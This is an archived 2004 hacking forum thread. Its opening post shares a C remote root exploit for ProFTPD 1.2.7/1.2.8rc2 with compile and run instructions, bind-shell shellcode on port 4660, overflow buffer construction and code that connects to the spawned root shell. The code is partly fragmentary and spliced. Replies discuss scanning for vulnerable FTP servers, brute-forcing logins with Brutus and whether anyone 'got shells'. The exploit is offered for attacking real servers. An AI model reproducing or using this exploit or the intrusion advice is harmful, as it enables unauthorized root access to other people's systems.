this is a ProFTPD 1.2.7 / 1.2.8rc2 Exploit (Remote Root Exploit) the exploit builds on the work of bkbll to create a working brute-force remote exploit bug in ProFTPd works excellent on on SuSE 8.0 - 8.1 and RedHat 7.2 / 8.0 Box's this is a kind of wierd version as its broad for OS's .. but ill try and find another private coding as well... The code below is the .c exploit - it breaks chroot (if there is one) and spawns a shell bound to Port 4660
-------------------------------- How to install (Linux) -------------------------------- gcc proftpdexploit.c -o proftpdexploit -lm
-------------------------------- How To Run -------------------------------- ./proftpdexploit -t TARGET -l LOCALIP -U incomming only replace the bolds with IP's (target ..duh) (localip ..duh)
you must use exactly that line... the " -U incomming" spawns a directory on the FTP to work in...without it, it WONT Spawn a shell it is possible to use other credentials to log into the server...but anonymous is default. Only WaReZ FTP's usualy like to change their default anonymous login. but yeah...you catch my drift...
this is a big code..but i cant add attachments :/ ive added comments everywhere so it explains what each bit is for interested code tweakers...
// fork() - parent terminates, killing proftpd and ending FTP // session. This leaves the child process as a daemon... "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31" "\xdb\x31\xc0\xb0\x01\xcd\x80"
// Finally, bind a shell to port 4660. // This is a hacked version of the bindshell code by BigHawk. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" "\x89\xc7\x52\x66\x68\x12\x34\x43\x66\x53\x89\xe1\xb0\x10\x50\x51" "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57" "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" "\x41\xe2\xf8\x51\x68\x2e\x2f\x61\x61\x89\xe3\x51\x53\x89\xe1\xb0" "\x0b\xcd\x80";
int controlSock, passiveSock; int currentPassivePort=32769; int currentServerPort=31337; int exploitBufLen; int attemptNumber=0; int ftpPort=FTP_PORT; unsigned int stackWriteAddr, retAddr; char serverBuf[SIZE]; char exploitBuf[EXPLOIT_BUF_SIZE]; char uploadPath[SIZE]=""; char filename[SIZE*2]; char *server=NULL; char *user=DEFAULT_USER; char *pass=DEFAULT_PASS; char *localIP=NULL; char errorBuf[SIZE];
int connect_to_server(int port); int login_to_server(); int set_passive_mode(int mode); int set_ascii_mode(); int set_path_and_filename(); int check_for_linefeed(); int check_status(); int create_passive_server(); int create_exploit_buffer(); int upload_file(); int download_file(int mode); void usage(char *s); int do_remote_shell(int shellSock); void status_bar(char *info); int timeout_accept(int s, struct sockaddr *sa, int *f); void my_send(int s, char *b, ...); void my_recv(int s); void my_sleep(int n); void doris_chroot_breaker();
int main(int argc,char **argv) { int sleepMode=0; char c; unsigned int stackStartAddr=STACK_START;
if(argc<2) usage(argv[0]); while((c = getopt(argc, argv, "t:u:p:l:U:sP:S:"))!= EOF) { switch (c) { case 't': server=optarg; break; case 'u': user=optarg; break; case 'p': pass=optarg; break; case 'l': localIP=optarg; break; case 's': sleepMode=1; break; case 'U': strncpy(uploadPath,optarg,SIZE); break; case 'P': ftpPort=atoi(optarg); break; case 'S': stackStartAddr=strtoul(optarg, NULL, 16); break; default: usage(argv[0]); return 1; } } if(server==NULL || localIP==NULL) usage(argv[0]);
// Connect again, then login, set ASCII mode and download the exploit file. // This will trigger the overflow; as a result, we've // corrupted the memory pool of this session and when we // download the file again, the stack area will be overwritten // and we control the saved EIP.
if((controlSock=connect_to_server(ftpPort))<0) { perror("\nFailed to connect to remote host\n"); exit(1); }
// Finally, read the file again. This will trigger the stack // overwrite (NOT the overflow, that happened earlier). We could // control EIP at this point and r00t may be only heartbeat away...
int download_file(int mode) { int len, localServerSock, dataSock, bindShellSock; struct sockaddr_in localServer;
status_bar("Downloading"); // Ask the victim server to send us the exploit file my_send(controlSock, "RETR %s\r\n", filename);
// Create a listening server on our passive port to // receive the data memset(&localServer,0,sizeof(localServer)); localServerSock=create_passive_server(); len=sizeof(localServer);
// Wait for a few seconds for the victim server to contact us... if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) { close(localServerSock); return FAILURE; }
// If the mode is EXPLOIT_DOWNLOAD, then this is the // second attempt at downloading... that means we might // have a shell waiting for us on the victim server, so // we try to connect to it if(mode==EXPLOIT_DOWNLOAD) { if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) { printf("\nConnected! You are r00t...\n"); do_remote_shell(bindShellSock); printf("\nDid you have a nice time?\n"); exit(0); } close(dataSock); close(localServerSock); return SUCCESS; } // If the mode is NORMAL_DOWNLOAD, then just clean up the // connection by receiving the file from the server; closing // the data and local server sockets, then read the confirmation // message from the control socket my_recv(dataSock); close(dataSock); close(localServerSock); my_recv(controlSock); return check_status(); }
int timeout_accept(int s, struct sockaddr *sa, int *f) { fd_set fdset; struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds int result;
// open up the data channel if((dataSock=connect_to_server(currentServerPort))==FAILURE) return FAILURE;
// tell server we're gonna send some shiznitz my_send(controlSock, "STOR %s\r\n", filename); my_recv(controlSock); if(check_status()==FAILURE) { close(dataSock); return FAILURE; }
// send the exploit file to the victim server send(dataSock, exploitBuf, exploitBufLen, 0); close(dataSock);
// make sure all went well my_recv(controlSock); if(check_status()==FAILURE) return FAILURE; return SUCCESS; }
int create_exploit_buffer() { int i; char buf[41]; unsigned int writeaddr=stackWriteAddr; unsigned int *ptr=(unsigned int *)(exploitBuf+3); unsigned int dummy=0x11111111; FILE *fp;
for(i=0;i<96;i++) { memset(buf,0,41); if(dummy==0x1111112e) // this sets session.d->outstrm to NULL which forces an early return // avoids crashing proftpd... on SuSE 8.0 anywayz... memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20); else if(dummy==0x11111166) // this is the same thing tailored for RH7.2 memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20); else memset(buf,'\n',20);
// i used these dummy values to find the correct spot for // the session.d->outstrm pointer *(unsigned int *)(buf+20)=dummy; *(unsigned int *)(buf+24)=dummy; *(unsigned int *)(buf+28)=dummy;
// this will become the address of an available chunk of memory // that is returned by new_block() in pool.c *(unsigned int *)(buf+32)=writeaddr;
// this is what will be returned by palloc() in pool.c // palloc() is the function that calls new_block() and // provides the allocation interface for the pools system. *(unsigned int *)(buf+36)=writeaddr;
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it. void my_sleep(int n) { struct timespec t;
t.tv_sec=0; t.tv_nsec=n; nanosleep(&t,&t); }
dozolax01
Jan 11 2004, 04:18 AM
compiles fine...just to clarify things, I believe its -U incoming (not incomming)
dozolax01
Jan 11 2004, 04:26 AM
using nmap to scan for open ftp ports and then seeing what type of ftp server it is becomes very tedious...is their a way to automate that process in linux, possibly through a program that someone knows of (sorry if this sounds like a beginner question). My main goal is just to generate a list of proftpd servers within my port scan.
Thanks
r3L4x
Jan 11 2004, 04:49 AM
thanks for this!
Oberon1879
Jan 11 2004, 11:01 AM
QUOTE (dozolax01 @ Jan 11 2004, 04:26 AM)
using nmap to scan for open ftp ports and then seeing what type of ftp server it is becomes very tedious...is their a way to automate that process in linux, possibly through a program that someone knows of (sorry if this sounds like a beginner question). My main goal is just to generate a list of proftpd servers within my port scan.
Thanks
i think you mean a banner scanner. its more or less a telnet client connecting to the specified ips and ports. then it takes the first welcome message and saves it ot a text file or parses it or .....
dozolax01
Jan 11 2004, 04:23 PM
Yea..i found a file which seems to work well for ftp banner grabbing called grabbb..i got it at packetstorm
dozolax01
Jan 11 2004, 04:26 PM
Has anyone got any shells off of this yet?
dozolax01
Jan 11 2004, 05:14 PM
What methods do you guys use to get into an ftp server assuming that anonymous logins aren't allowed (i.e. brute force and if so then what programs)?
redcorp
Jan 12 2004, 04:22 AM
im sure theres lots of brute force programs out there mate just google
i thyink ive seen one be4 called brutus have a go with it and tell me how it goes
esorone
Jan 12 2004, 07:43 PM
Hmmm THis exploit makes me curious.
Thx m8 for sharing this.
d00m
Jan 13 2004, 10:06 AM
QUOTE (dozolax01 @ Jan 11 2004, 05:14 PM)
What methods do you guys use to get into an ftp server assuming that anonymous logins aren't allowed (i.e. brute force and if so then what programs)?
For bruteforcing "Brutus" in the best program i come by so far.
m0n
Jan 14 2004, 04:20 AM
Ok, I installed several versions of proftpd that were in the vulnerable version range on a test machine and this did nothing.
BTW. does anyone have a good "working" exploit for proftpd 1.2.5? I would like to use this for one of our test machines that my roomate says cannot be cracked on our LAN, the only service on that box is proftpd 1.2.5.
Alien
Jan 14 2004, 08:36 AM
yeah good exploit thanks!
mmyumu
Jan 14 2004, 11:30 AM
Thx ! I'll try it
raif
Jan 16 2004, 04:14 AM
i've tried this exploit on a wargame system that was supposedly vulnerable (according to nmaps and runs of nessus that i did). didn't work. i know that the os is slackware 9.1, so i found out the range of where the stack pointer might be on such a system. then i changed STACK_START to 0xbffff800 and STACK_END to 0xbffffaff and still nothing. i'm stumped. has anyone gotten this exploit to work?
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.